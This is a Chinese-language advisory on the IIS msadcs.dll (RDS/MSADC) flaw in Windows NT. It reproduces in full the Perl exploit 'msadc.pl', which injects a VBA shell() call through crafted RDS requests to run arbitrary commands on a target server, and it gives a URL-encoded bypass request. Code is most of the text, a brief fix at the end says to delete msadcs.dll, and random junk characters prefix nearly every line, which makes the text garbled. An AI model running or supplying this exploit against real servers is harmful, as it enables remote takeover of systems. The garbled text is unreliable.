IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
M@p<L
VP 'pO-h,{TS 涉及程序：
[fELf(;( Microsoft NT server
V|*3*W s
OLjT34 描述：
UIU6rilB 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
8@|{n`n] > %slzr 详细：
.ud&$-[a 如果你没有时间读详细内容的话，就删除:
xsN OjHk c:\Program Files\Common Files\System\Msadc\msadcs.dll
jj]| }G 有关的安全问题就没有了。
& PFq (4 zAev@+.ld 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
q'IMt7} JSaF7(a = 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
r=p^~tuyxr 关于利用ODBC远程漏洞的描述，请参看:
AJ3Byb =. Xg\u nUHa http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm <7zz " R %b~ND?nn- 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
3C'6i http://www.microsoft.com/security/bulletins/MS99-025faq.asp $vn )(zn+ Bgp%hK 这里不再论述。
w'7J`n: {] YPO24_B 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
|`fuu2W! c0w1
N]+Ne /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
4vkq e6 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
?s R( W@zu N)U !1 A< jL #将下面这段保存为txt文件，然后: "perl -x 文件名"
^upd:q ,f<J4U:Y #!perl
jM-5aj[K #
"v0SvV<7 # MSADC/RDS 'usage' (aka exploit) script
hW6K sn,* #
0kw) -)= # by rain.forest.puppy
6$zd2N? #
E b CK9 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
A"R(?rQi= # beta test and find errors!
][YuJUK8 {M= *>P]E use Socket; use Getopt::Std;
7s;;2<k;_ getopts("e:vd:h:XR", \%args);
XN{zl* ` a:4!z;2
| print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
x5rLGt 4Y4zBD=< if (!defined $args{h} && !defined $args{R}) {
L :Mjd47L print qq~
-8d z`o} Usage: msadc.pl -h <host> { -d <delay> -X -v }
+rhBC
V -h <host> = host you want to scan (ip or domain)
5fz
K*[B -d <seconds> = delay between calls, default 1 second
AsvH@\\ -X = dump Index Server path table, if available
8 @RJ> -v = verbose
Lv Z',u} -e = external dictionary file for step 5
.RyuWh!5 1=` V aS Or a -R will resume a command session
+oHbAPs8 ou`K kY|| ~; exit;}
m'k>U4 ;>F1?5 P{ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
q|r*4={^!* if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
'tU \~3 k if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
| h+vdE8 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
c\ O2|'JzE $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
e<FMeg7n if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Z`zLrXPD) 4X+I2CD if (!defined $args{R}){ $ret = &has_msadc;
d>Nh<PqH6 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
>+>N/`BG %?[0G,JG print "Please type the NT commandline you want to run (cmd /c assumed):\n"
'$J M2 u . "cmd /c ";
{)
sE;p- $in=<STDIN>; chomp $in;
hTcU
%Nc $command="cmd /c " . $in ;
7r.~L t~44ub6GN` if (defined $args{R}) {&load; exit;}
/-WmOn* 4gUx#_AaG print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
@D `j &try_btcustmr;
H <P d& nV`W0 r(f' print "\nStep 2: Trying to make our own DSN...";
y9=<q%Kc- &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
K8_\U0 K _}T )\o print "\nStep 3: Trying known DSNs...";
|x>5 T} &known_dsn;
,|,kU 0xXz qZv@ULluc print "\nStep 4: Trying known .mdbs...";
Kltqe5 &known_mdb;
|2rOV&@l9 'C#[iRG4 if (defined $args{e}){
wjgF e] print "\nStep 5: Trying dictionary of DSN names...";
\'iy( 8i &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
(hIo0 . 9 wO 2`e ) print "Sorry Charley...maybe next time?\n";
5r~hs6H exit;
v (S h+p $H]NC-\+> ##############################################################################
aygK$.wos cRNVqMpg sub sendraw { # ripped and modded from whisker
G drVH,j sleep($delay); # it's a DoS on the server! At least on mine...
S 2W@;XvV my ($pstr)=@_;
UIht`[(z socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
r6:e
423 die("Socket problems\n");
W/~q%\M { if(connect(S,pack "SnA4x8",2,80,$target)){
)UVe kkq>Q select(S); $|=1;
V?p`rrj@ print $pstr; my @in=<S>;
|`{$E go: select(STDOUT); close(S);
I:YgKs)[ return @in;
e#k)F.TZ:% } else { die("Can't connect...\n"); }}
acQHqR jB0Ts;5 ##############################################################################
8F's9c, } j;es(~D sub make_header { # make the HTTP request
EQ|Wk e my $msadc=<<EOT
L . }sN. POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
"*(a 2k3J User-Agent: ACTIVEDATA
~ t N/ Host: $ip
BglbQ'6p Content-Length: $clen
UIS siiG( Connection: Keep-Alive
.3cD.']% % I2JS ADCClientVersion:01.06
|L:X$oM Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
.W uSW[g OK47Q{.gh --!ADM!ROX!YOUR!WORLD!
/q'-.-bo Content-Type: application/x-varg
K\s<<dRa Content-Length: $reqlen
-dfs8 [i GMoz$c6n_ EOT
Bq A_C W ; $msadc=~s/\n/\r\n/g;
|oe return $msadc;}
<E^;RG 4Mt RI ##############################################################################
wrK@1F9! E&U_@ bc - sub make_req { # make the RDS request
ZA@zs,o% my ($switch, $p1, $p2)=@_;
i*A_Po my $req=""; my $t1, $t2, $query, $dsn;
GxC\Nj# HEhBOER? if ($switch==1){ # this is the btcustmr.mdb query
) p:+!sX( $query="Select * from Customers where City=" . make_shell();
_Vt(Eg_\ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
I9`ZK2S $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Uty0mc( t%f>*} *P* elsif ($switch==2){ # this is general make table query
sb?!U"v.' $query="create table AZZ (B int, C varchar(10))";
Gm0}KU $dsn="$p1";}
A:pD:}fm}D vGI)c&C> elsif ($switch==3){ # this is general exploit table query
=wD&hDn4 $query="select * from AZZ where C=" . make_shell();
2+ g'ul` $dsn="$p1";}
}jdmeD: Cn5;h(r elsif ($switch==4){ # attempt to hork file info from index server
Fzy#!^9Nu $query="select path from scope()";
P.1Z@HC $dsn="Provider=MSIDXS;";}
3v `@** \YF07L]qs- elsif ($switch==5){ # bad query
,^eOwWV $query="select";
U%;E: | $dsn="$p1";}
{/>uc,8O >* n4j: $t1= make_unicode($query);
0W+RVp=TL1 $t2= make_unicode($dsn);
[8oX[oP $req = "\x02\x00\x03\x00";
\%V !&
!' $req.= "\x08\x00" . pack ("S1", length($t1));
S?OCy4dk: $req.= "\x00\x00" . $t1 ;
Z/4bxO=m $req.= "\x08\x00" . pack ("S1", length($t2));
%5@>
nC?`[ $req.= "\x00\x00" . $t2 ;
:1@jl2, $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
kr!>rqN5 return $req;}
PpF`0w=1%l |)*! &\Ch ##############################################################################
jJ,y+o D-x*RRkpp sub make_shell { # this makes the shell() statement
Ra:UnA return "'|shell(\"$command\")|'";}
vmo ! 2t>>08T ##############################################################################
~d ~oC$=TC B7o US}M sub make_unicode { # quick little function to convert to unicode
A6 my ($in)=@_; my $out;
zTi
8 y<} for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
=5YbK1Q^ return $out;}
j X*g w6! :7(d 6gEL ##############################################################################
7| j
rk w"O;: `|n sub rdo_success { # checks for RDO return success (this is kludge)
;M\Cw.%![ my (@in) = @_; my $base=content_start(@in);
5Kk}sxol if($in[$base]=~/multipart\/mixed/){
N$.ls48a4- return 1 if( $in[$base+10]=~/^\x09\x00/ );}
7;] IlR6 return 0;}
M8y|L m}o +$/NTUOP ##############################################################################
#yEkd2Vy{ vu*9(t)EC sub make_dsn { # this makes a DSN for us
?MFXZ/3(ba my @drives=("c","d","e","f");
Q7/Jyx| print "\nMaking DSN: ";
bBGg4{ foreach $drive (@drives) {
7_rDNK@e print "$drive: ";
u
bZ`Y$ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
e :_[0# "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
|W& K@g$ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
EZ hk(LE $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
mGoC8t}iP return 0 if $2 eq "404"; # not found/doesn't exist
n,_9Eh#WD if($2 eq "200") {
P*hYh5a foreach $line (@results) {
bQI.Qk return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
w6^TwjjZ$ } return 0;}
9[`\ZGWD f2v~: u ##############################################################################
(#>Q#Izr x`'s sub verify_exists {
v3kT~uv my ($page)=@_;
47A[-&y*X my @results=sendraw("GET $page HTTP/1.0\n\n");
O(_f&a return $results[0];}
fWF!% |L s!Iinc^p ##############################################################################
(/t{z = vy >(?[ sub try_btcustmr {
gT,iH. my @drives=("c","d","e","f");
r]w y-GT my @dirs=("winnt","winnt35","winnt351","win","windows");
-OKXfN] U<'z, Px6 foreach $dir (@dirs) {
IA}.{zY~| print "$dir -> "; # fun status so you can see progress
2|`Mb~E ; foreach $drive (@drives) {
s= z$;1C print "$drive: "; # ditto
u~mpZ"9$ 3 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
I+jc $reqlenlen=length( "$reqlen" );
|O"Pb`V+ $clen= 206 + $reqlenlen + $reqlen;
vSH-hAk yHZ&5 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
W v,?xm if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
PMvm4< else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
RL/5 o" x_/H ##############################################################################
M.C`nI4 zW. Ltz sub odbc_error {
aghlYcPg my (@in)=@_; my $base;
y'JJ#7O= my $base = content_start(@in);
<\d2)I v if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
xr!A>q+@i $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
~i>'3j0@k $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
CL t(_! q $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
V warU(* return $in[$base+4].$in[$base+5].$in[$base+6];}
f;&XTF5D^ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
vH E:TQo4 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
uD ;T $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
U-{3HHA Cwji,* ##############################################################################
E|6@h8 # >: J1Gc sub verbose {
E Fu> my ($in)=@_;
tM;+U return if !$verbose;
OXX D}-t print STDOUT "\n$in\n";}
= 2} bQW hWbjA[a/ ##############################################################################
{%\;'&@z\ Oj2=& uz sub save {
Q
H>g-@ my ($p1, $p2, $p3, $p4)=@_;
!yK rA|w1 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
QP@@h4J^ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
+5kQ;D{+ close OUT;}
*$mb~k^R :U @ L$ ##############################################################################
Jr>Nc}!U ^{E_fQJX sub load {
f
uH3C~u7< my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
s(MdjWw open(IN,"<rds.save") || die("Couldn't open rds.save\n");
90H/Txq @p=<IN>; close(IN);
;BHIs s7 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
wvr`~ e $target= inet_aton($ip) || die("inet_aton problems");
-W|~YK7e print "Resuming to $ip ...";
LXR>M>a` $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
bF +d_t if($p[1]==1) {
.ffr2 \'* $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Y)M-?|4 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Ow-;WO_HQ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
4!?4Tc!X if (rdo_success(@results)){print "Success!\n";}
a4q02 cV else { print "failed\n"; verbose(odbc_error(@results));}}
&kH7_Lz elsif ($p[1]==3){
=v{ R(IX% if(run_query("$p[3]")){
ksYPF&l print "Success!\n";} else { print "failed\n"; }}
A=*6|1w; elsif ($p[1]==4){
qJXf c||Zg if(run_query($drvst . "$p[3]")){
|CBJ8],mT print "Success!\n"; } else { print "failed\n"; }}
QX. U:p5C exit;}
8yuTT^ KXu1%`x=%Z ##############################################################################
XhOg > iX>)6)uJ sub create_table {
|%(qaPA1 my ($in)=@_;
=Q!V6+}nY^ $reqlen=length( make_req(2,$in,"") ) - 28;
Jp~[D m $reqlenlen=length( "$reqlen" );
j?! /#' $clen= 206 + $reqlenlen + $reqlen;
dmMr Z1u2 my @results=sendraw(make_header() . make_req(2,$in,""));
G/KTF2wl7 return 1 if rdo_success(@results);
~BXy)IB6 my $temp= odbc_error(@results); verbose($temp);
2n Sz0 . return 1 if $temp=~/Table 'AZZ' already exists/;
@,pn /[ return 0;}
6(q8y(.` fs#9*<]m ##############################################################################
U 8 zs=tA @ZcI]G% sub known_dsn {
!zfV (& # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
j<L !(6B my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
JS&;7Z$KX "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
1 _G+sDw$ "banner", "banners", "ads", "ADCDemo", "ADCTest");
VB4ir\nF t & 5s . foreach $dSn (@dsns) {
\6/!{D, print ".";
4 HGR-S/ next if (!is_access("DSN=$dSn"));
,Fu[o6x<^ if(create_table("DSN=$dSn")){
w4UJXc print "$dSn successful\n";
!nF.whq if(run_query("DSN=$dSn")){
j7VaaA print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
(T.g""N~` print "Something's borked. Use verbose next time\n";}}} print "\n";}
D:N\K/p pEb/ yIT" ##############################################################################
T<mP.T,$! z_Pq5 sub is_access {
qqu ]r my ($in)=@_;
\O e8h#% $reqlen=length( make_req(5,$in,"") ) - 28;
o~V Z%B $reqlenlen=length( "$reqlen" );
`Z
(` $clen= 206 + $reqlenlen + $reqlen;
Ja%i sIdh my @results=sendraw(make_header() . make_req(5,$in,""));
X @~R < my $temp= odbc_error(@results);
$oi8 <8Y verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Ga;Lm? 6- return 0;}
$ Vsf? ID YUlH5rO3 ##############################################################################
v=YI%{tx) Gn% k# sub run_query {
,Aq |IH3j my ($in)=@_;
KhyGz"I!@$ $reqlen=length( make_req(3,$in,"") ) - 28;
W!a'KI' $reqlenlen=length( "$reqlen" );
q9(hn_X@/ $clen= 206 + $reqlenlen + $reqlen;
1_)Y{3L my @results=sendraw(make_header() . make_req(3,$in,""));
|eej}G(,m} return 1 if rdo_success(@results);
u4:6zU/{ my $temp= odbc_error(@results); verbose($temp);
:U'Oc3l#Y return 0;}
c+UZ UgP ~fz9PoC ##############################################################################
I -V=Z: z*/}rk4i sub known_mdb {
f5#VU7=1F2 my @drives=("c","d","e","f","g");
^<Sy{KY my @dirs=("winnt","winnt35","winnt351","win","windows");
t\-;n:p- my $dir, $drive, $mdb;
sTECNY=l my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
EB5 ^eNdL (g UxS.zU # this is sparse, because I don't know of many
oX6( )FR my @sysmdbs=( "\\catroot\\icatalog.mdb",
<A]
Kg "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
L^jhr>-"; "\\system32\\certmdb.mdb",
(w/lZt "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
XC[bEp$ F2$?[1^f my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
5Ja[p~^L "\\cfusion\\cfapps\\forums\\forums_.mdb",
G 2FD'Sf "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
2L7ogyrU/A "\\cfusion\\cfapps\\security\\realm_.mdb",
PE2O$:b\ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
U~<~>^[ "\\cfusion\\database\\cfexamples.mdb",
^W[3Ri G "\\cfusion\\database\\cfsnippets.mdb",
w?M ` gl8r "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
>jm^ MS= "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
x )e(g}n "\\cfusion\\brighttiger\\database\\cleam.mdb",
qD5)AdCGO "\\cfusion\\database\\smpolicy.mdb",
F6
f "\\cfusion\\database\cypress.mdb",
,<=_t{^ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
t~
z;G%a "\\website\\cgi-win\\dbsample.mdb",
`xFgYyiQd "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
m2to94y h "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
gg
:{Xf*` ); #these are just
"'U]4 Z%q! foreach $drive (@drives) {
~P+;_ foreach $dir (@dirs){
3xpygx9 foreach $mdb (@sysmdbs) {
WI\h@qSB print ".";
Hr=?_Un" if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
x7c#kU2A&Z print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
#h2 qrX&+ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
. &n;S';" print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
lAPPn g` } else { print "Something's borked. Use verbose next time\n"; }}}}}
*Q,9 [k s^-o_K\*c foreach $drive (@drives) {
o1rH@ D6/- foreach $mdb (@mdbs) {
:74G5U8% print ".";
5 m
rkw if(create_table($drv . $drive . $dir . $mdb)){
EZ)GW%Bm2 print "\n" . $drive . $dir . $mdb . " successful\n";
W^1)70<y if(run_query($drv . $drive . $dir . $mdb)){
8,?*e YNjb print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
QQX7p!~E } else { print "Something's borked. Use verbose next time\n"; }}}}
{3\{aZ8) }
a O(&< |=s jG f ##############################################################################
a*Ng+~5)6 p/Lk'h~ sub hork_idx {
Y q-7! print "\nAttempting to dump Index Server tables...\n";
)F%zT[Auph print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
!+ ??3-q $reqlen=length( make_req(4,"","") ) - 28;
vN`JP`IBx $reqlenlen=length( "$reqlen" );
$ Q*^c"& $clen= 206 + $reqlenlen + $reqlen;
+ ZPn[| my @results=sendraw2(make_header() . make_req(4,"",""));
>S H W if (rdo_success(@results)){
hbTJXP~~? my $max=@results; my $c; my %d;
fBct%M 3 for($c=19; $c<$max; $c++){
_l&.<nz $results[$c]=~s/\x00//g;
* vIC9./ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
z]=je r $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
D?
FW Sv $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
uE,j$d $d{"$1$2"}="";}
"o$)z'q foreach $c (keys %d){ print "$c\n"; }
k3r<']S^ } else {print "Index server doesn't seem to be installed.\n"; }}
(:ij'Zbz }1Km h] ##############################################################################
~DUOL ~E `Bv, :i sub dsn_dict {
')~[J$qz open(IN, "<$args{e}") || die("Can't open external dictionary\n");
^TCfj^FP while(<IN>){
-n`2>L1 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
.7MLgC; next if (!is_access("DSN=$dSn"));
iLJBiZ+ if(create_table("DSN=$dSn")){
Ox"SQ`nSj' print "$dSn successful\n";
%1%@L7wP> if(run_query("DSN=$dSn")){
]j^rJ|WTH print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
&W-1W99auE print "Something's borked. Use verbose next time\n";}}}
S *K0OUq print "\n"; close(IN);}
qiyJ4 ^1 Pxe7 \e ##############################################################################
rZG6}<Hx yI_MY L[ sub sendraw2 { # ripped and modded from whisker
]d50J@W
c sleep($delay); # it's a DoS on the server! At least on mine...
(, 2U?p my ($pstr)=@_;
_ }: #T8h socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
e^Glgaf die("Socket problems\n");
Ky6 d{|H if(connect(S,pack "SnA4x8",2,80,$target)){
t%]b`ad print "Connected. Getting data";
F=~LVaF/_ open(OUT,">raw.out"); my @in;
g 9:V00^< select(S); $|=1; print $pstr;
.0#{ ?R, while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Yjp*T:6 close(OUT); select(STDOUT); close(S); return @in;
U&SgB[QHO } else { die("Can't connect...\n"); }}
Ln&CB!u #F6!x3 Z ##############################################################################
=fy'w3m I8{ohFFo sub content_start { # this will take in the server headers
|NXe{q7{ my (@in)=@_; my $c;
='\E+*[$I for ($c=1;$c<500;$c++) {
.*g^
i` if($in[$c] =~/^\x0d\x0a/){
*| &&3&7 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
o9A wW else { return $c+1; }}}
~ M LBO return -1;} # it should never get here actually
V?o%0V Hrj@I?4 ##############################################################################
1|xo4fmV ,ko0XQBl sub funky {
_XUDPC(*qz my (@in)=@_; my $error=odbc_error(@in);
!vH={40 ] if($error=~/ADO could not find the specified provider/){
UaV8 !Z> print "\nServer returned an ADO miscofiguration message\nAborting.\n";
ETt oY<`# exit;}
&Vmx<w if($error=~/A Handler is required/){
2N}h<Yd 9 print "\nServer has custom handler filters (they most likely are patched)\n";
+pJ~ <ug] exit;}
q
OX=M if($error=~/specified Handler has denied Access/){
s. j cD print "\nServer has custom handler filters (they most likely are patched)\n";
m0+'BC{$u exit;}}
Bz * 6M T{mIk p< ##############################################################################
Cw]bhaG
g ThJ`-Ro sub has_msadc {
^<QF * ! my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Q DJe:\n my $base=content_start(@results);
.[>UkM0 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
>'2=3L^Q return 0;}
7 DCu#Y[ WS1$cAD2N ########################
iVqXf;eB!5 4dI = C9"yu&l 解决方案：
|A19IXZ\ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
a
qIpO 2、移除web 目录: /msadc
